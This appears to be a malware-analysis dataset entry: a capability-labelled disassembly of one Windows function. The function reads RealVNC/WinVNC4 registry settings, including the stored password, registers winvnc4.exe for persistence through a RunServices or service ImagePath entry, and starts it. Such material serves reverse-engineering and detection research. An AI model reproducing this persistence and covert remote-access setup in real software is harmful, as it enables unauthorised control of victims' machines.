Function at 0x4059a0
Capabilities:
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x83c
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
mov ecx, 0x23
lea edi, [esp + 0x2a8]
mov dword [esp + 0x2a0], 0x94
mov dword [esp + 0x2a4], ebx
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x338]
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], 2
jne 0x405a35
mov eax, dword [str.ShowStatus0__service]
mov ecx, dword [0x41d6bc]
mov edx, dword [0x41d6c0]
mov dword [esp + 0x338], eax
mov eax, dword [0x41d6c4]
mov dword [esp + 0x33c], ecx
mov ecx, dword [0x41d6c8]
mov dword [esp + 0x340], edx
mov dx, word [0x41d6cc]
mov dword [esp + 0x344], eax
mov dword [esp + 0x348], ecx
mov word [esp + 0x34c], dx
xor eax, eax
mov ecx, 0x42
lea edi, [esp + 0x438]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x405a68
cmp byte [eax], bl
je 0x405a68
push 0x107
push eax
lea eax, [esp + 0x440]
push eax
call fcn.00410340
add esp, 0xc
jmp 0x405ab2
push 0x107
lea ecx, [esp + 0x43c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x438]
push 0x5c
push edx
call fcn.00410ca0
add esp, 8
cmp eax, ebx
je 0x405a97
mov byte [eax + 1], bl
jmp 0x405ab2
mov ax, word [0x41d6b4]
mov cl, byte [0x41d6b6]
mov word [esp + 0x438], ax
mov byte [esp + 0x43a], cl
push 0x303
lea edx, [esp + 0x544]
push edx
push str.windir
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jle 0x405adb
mov al, byte [esp + 0x540]
mov byte [esp + 0xf], al
jmp 0x405ae0
mov byte [esp + 0xf], 0x63
push str.winvnc4.exe
call fcn.004070e0
add esp, 4
mov dword [0x4244fc], eax
xor eax, eax
jmp 0x405b00
mov cl, byte [esp + eax + 0x438]
mov byte [eax + 0x424610], cl
inc eax
cmp cl, bl
jne 0x405b00
mov edi, 0x424610
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x405b18
mov ecx, dword [str.winvnc4.exe]
mov edx, dword [0x41d6a4]
mov eax, dword [0x41d6a8]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [edi + 8], eax
xor eax, eax
mov ecx, 0x42
mov edi, 0x424508
rep stosd dword es:[edi], eax
mov ecx, 0x10
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallRealVNC_is1
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
push ecx
push 0x424508
lea edx, [esp + 0x1c]
push edx
push str.Inno_Setup:_App_Path
lea eax, [esp + 0xa8]
push eax
push reloc.WSOCK32.dll_bind
mov dword [0x4244f8], ebx
mov dword [esp + 0x28], 0x107
call fcn.0040a4c0
add esp, 0x18
test eax, eax
jne 0x405bf0
mov eax, dword [esp + 0x14]
cmp eax, 1
je 0x405ba3
cmp eax, 2
jne 0x405bf0
mov eax, 0x424508
lea edx, [eax + 1]
jmp 0x405bb0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405bb0
sub eax, edx
cmp eax, 1
jl 0x405bf0
mov edi, 0x424508
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x405bc4
mov ecx, dword [0x41d638]
mov edx, dword [0x41d63c]
mov eax, dword [0x41d640]
mov dword [edi], ecx
mov cl, byte [0x41d644]
mov dword [edi + 4], edx
mov dword [edi + 8], eax
mov byte [edi + 0xc], cl
jmp 0x405bfe
mov ecx, 0x42
xor eax, eax
mov edi, 0x424508
rep stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0xc1
lea edi, [esp + 0x540]
rep stosd dword es:[edi], eax
mov ecx, 6
mov esi, str.SOFTWARERealVNCWinVNC4
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x544]
push eax
lea ecx, [esp + 0x1c]
push ecx
push str.Password
lea edx, [esp + 0xa8]
push edx
push reloc.WSOCK32.dll_bind
mov dword [esp + 0x28], 0x303
movsb byte es:[edi], byte [esi]
call fcn.0040a4c0
add esp, 0x18
test eax, eax
jne 0x405c73
cmp dword [esp + 0x14], 3
jne 0x405c73
cmp dword [esp + 0x10], ebx
jle 0x405c73
mov dword [0x4244f8], 1
jmp 0x405c85
cmp dword [0x4244f8], ebx
jne 0x405c85
mov ebx, dword [ebp + 8]
call fcn.00405300
xor ebx, ebx
cmp dword [0x4244fc], ebx
je 0x405cd8
cmp byte [0x424508], bl
je 0x405ca9
push 0x424508
push str.__s___stop
lea eax, [esp + 0xa0]
push eax
jmp 0x405cbb
push 0x424610
push str.__s___stop
lea ecx, [esp + 0xa0]
push ecx
call fcn.00410464
add esp, 0xc
push 0xa
push 1
lea edx, [esp + 0xa0]
push edx
push ebx
call fcn.00409f00
add esp, 0x10
lea eax, [esp + 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x2b0], 2
jne 0x405d1c
mov ax, word [0x41d60c]
mov edx, dword [0x41d608]
mov ecx, 0xa
mov esi, str.SYSTEMCurrentControlSetServicesWinVNC4
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [str.ImagePath]
mov word [esp + 0x20], ax
jmp 0x405d3b
mov edx, dword [0x41d5d4]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [str.WinVNC4]
mov dword [esp + 0x18], ecx
movsw word es:[edi], word [esi]
xor eax, eax
mov ecx, 0xc1
lea edi, [esp + 0x540]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x544]
push ecx
mov dword [esp + 0x24], edx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xa8]
push ecx
push reloc.WSOCK32.dll_bind
mov dword [esp + 0x28], 0x303
call fcn.0040a4c0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
test eax, eax
jne 0x405de9
cmp dword [esp + 0x10], ebx
jle 0x405de9
mov eax, dword [esp + 0x14]
cmp eax, 1
je 0x405dac
cmp eax, 2
je 0x405dac
cmp eax, 7
jne 0x405de9
push 0x424610
lea edx, [esp + 0x9c]
push str.__s___unregister
push edx
mov dword [0x424500], 1
call fcn.00410464
push 0xa
push 1
lea eax, [esp + 0xac]
push eax
push ebx
call fcn.00409f00
add esp, 0x1c
push 0xbb8
call esi
push 0x424610
lea ecx, [esp + 0x9c]
push str.__s___register
push ecx
call fcn.00410464
push 0xa
push 1
lea edx, [esp + 0xac]
push edx
push ebx
call fcn.00409f00
add esp, 0x1c
push 0x7d0
call esi
cmp dword [ebp + 8], 2
push 0x424610
jne 0x405e36
push str.__s__ShowStatus0__start
lea eax, [esp + 0xa0]
push eax
jmp 0x405e43
push str.__s___start
lea ecx, [esp + 0xa0]
push ecx
call fcn.00410464
add esp, 0xc
push 5
push 1
lea edx, [esp + 0xa0]
push edx
push ebx
call fcn.00409f00
add esp, 0x10
push 0xbb8
call esi
lea eax, [esp + 0x338]
push eax
push 0x424610
lea ecx, [esp + 0xa0]
push str.__s___s__connect_127.0.0.1
push ecx
call fcn.00410464
push ebx
push ebx
lea edx, [esp + 0xb0]
push edx
push ebx
call fcn.00409f00
add esp, 0x20
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret